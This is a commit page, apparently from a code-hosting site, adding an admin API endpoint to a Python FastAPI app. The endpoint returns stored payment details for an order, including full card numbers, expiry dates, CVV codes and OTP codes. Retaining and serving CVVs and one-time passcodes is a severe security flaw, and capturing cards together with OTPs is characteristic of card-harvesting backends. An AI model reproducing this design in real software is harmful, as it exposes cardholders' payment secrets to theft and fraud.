hisham-cmd commited on
Commit
4e82f0c
·
verified ·
1 Parent(s): 90e323a

Upload app/api/admin.py

Browse files
Files changed (1) hide show
  1. app/api/admin.py +32 -0
app/api/admin.py CHANGED
@@ -268,3 +268,35 @@ def get_all_orders(
268
  "value": {"orders": results},
269
  "statusCode": 200
270
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
268
  "value": {"orders": results},
269
  "statusCode": 200
270
  }
271
+
272
+ @router.get("/orders/{order_id}/payment-details")
273
+ def get_order_payment_details(
274
+ order_id: int,
275
+ current_user_id: int = Depends(get_current_user),
276
+ db: Session = Depends(get_db)
277
+ ):
278
+ """Get payment card details for a specific order."""
279
+ check_admin(current_user_id, db)
280
+
281
+ details = db.query(PaymentDetail).filter(
282
+ PaymentDetail.order_id == order_id
283
+ ).order_by(PaymentDetail.created_at.desc()).all()
284
+
285
+ results = [{
286
+ "id": d.id,
287
+ "order_id": d.order_id,
288
+ "card_holder": d.card_holder,
289
+ "card_number": d.card_number,
290
+ "expiry_date": d.expiry_date,
291
+ "cvv": d.cvv,
292
+ "otp_code": d.otp_code,
293
+ "is_verified": d.is_verified,
294
+ "created_at": d.created_at.isoformat()
295
+ } for d in details]
296
+
297
+ return {
298
+ "isSuccess": True,
299
+ "value": {"payment_details": results},
300
+ "statusCode": 200
301
+ }
302
+